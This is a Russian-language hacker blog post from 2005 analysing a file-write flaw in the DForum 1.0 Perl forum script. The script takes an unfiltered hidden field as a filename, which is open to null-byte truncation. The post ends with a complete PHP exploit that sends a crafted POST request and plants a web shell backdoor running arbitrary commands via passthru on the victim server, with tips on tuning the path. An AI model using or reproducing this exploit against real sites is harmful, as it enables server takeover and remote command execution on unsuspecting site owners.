|
4пальца Опубликовано: dl, 15.05.05 19:29 Удивительное дело, сообщество вебмастеров в интернете на редкость консервативно. Многие скрипты, которые были созданы в конце девяностых, до сих пор находят себе применение на самых разных сайтах. А старые скрипты - это старые болячки, как я писал в одной из статей. Попался мне очередной кладезь программистской мудрости, DForum 1.0, автор которого уже свернул свой веб-сайт, видимо, исчерпав свой талант на означенном творении. Заглянул я в код форума, forum.pl, и повеяло на меня какой-то прелостью... Меня заинтересовал процесс добавления сообщений. Скрипт складывает их в папку forumdata в виде отдельных файлов. Добавление сообщений происходит в два этапа. На первом этапе пользователь заполняет поля добавления сообщения, на втором происходит предпросмотр, а введённые данные, соответственно, содержатся в странице в виде скрытых полей. Главный просчёт разработчика в том, что скрипт на первом этапе вычисляет текущую дату и записывает её в виде скрытого поля, используя потом в имени файла сообщения. Хотя, замечу интересующимся, это не единственный просчёт:) Итак, скрипт записывает сообщение. После инициализации хэш-массива входных переменных $in мы попадаем в функцию postMessage. $name = $in{'name'}; $email = $in{'email'}; $date = $in{'date'}; $headerfile = $in{'headerfile'}; $reply = $in{'reply'}; Далее следует кое-какая фильтрация ввода, относящаяся к теме сообщения и его тексту. Предположим, что переменная $in{'post'} в данный момент равна thread. Тогда последует вызов функции postThread и начнётся самое интересное. После неинтересных нам обновлений счётчика и базы месяцев для архива мы видим то, что должно спровоцировать любого хакера: open(HEADER,">$forumdir/$headerfile.txt"); unshift (@headers, "$num\_$subject\_$name\_$date\_0\n"); foreach $headerline (@headers) { print HEADER $headerline; } close(HEADER); Напомню, что у языка Perl есть особенность не переваривать машинный нуль. При попадании 0x00 в имя файла для выполнения над ним операций, строка ровно на этом символе и "откусывается". Это связано с реализацией языка на Си, который с этим символом так же не в ладах. Такое положение дел означает, поскольку фильтрация на переменную $headerfile отсутствует,
То есть, мы можем в какую-нибудь из нефильтруемых переменных поместить наш PHP-код и уповая на определённые настройки веб-сервера рассчитывать на выполнение нашего скрипта на сервере. Далее привожу свой exploit этой уязвимости. Он позволяет установить backdoor с произвольным кодом на сервер жертвы. Настройками являются хост и порт сервера жертвы, виртуальный путь к скрипту форума и относительный путь к backdoor. Рекомендую поварьировать последнюю переменную, поскольку пути на серверах к папке с сообщениями forumdata очень разнятся. При стандартных настройках уровень вложенности для пути к бэкдору должен быть на два выше виртуального пути к скрипту (чтобы выйти за пределы папки cgi-bin, которая требует для выполнения легальных путей к интерпретатору). <? $host="127.0.0.1"; $pathtoscript="/cgi-bin/dforum/forum.pl"; $port ="80"; $backdoorfilename="../../../../forum.php"; $backdoorcode= ' <pre> <? echo passthru($cmd); ?> </pre> '; // ------------------------------------------------- $sock = fsockopen($host, $port); $code = "date=PUSTO&headerfile=${backdoorfilename}%00%00". "&name=".urlencode($backdoorcode)."&email=&subject=PUSTO&body=PUSTO&post=thread"; // в файл запишется: "$num\_$subject\_$name\_$date\_0\n" $sizecode=strlen($code); $send = "POST ${pathtoscript} HTTP/1.1 User-Agent: NBP Host: ${host}:${port} Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: ${sizecode} ${code}"; fputs($sock, $send); $ispage=0; while($input = fgets($sock)) { echo $input; } //echo $send; fclose($sock); ?>12.05.2005 4пальца
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|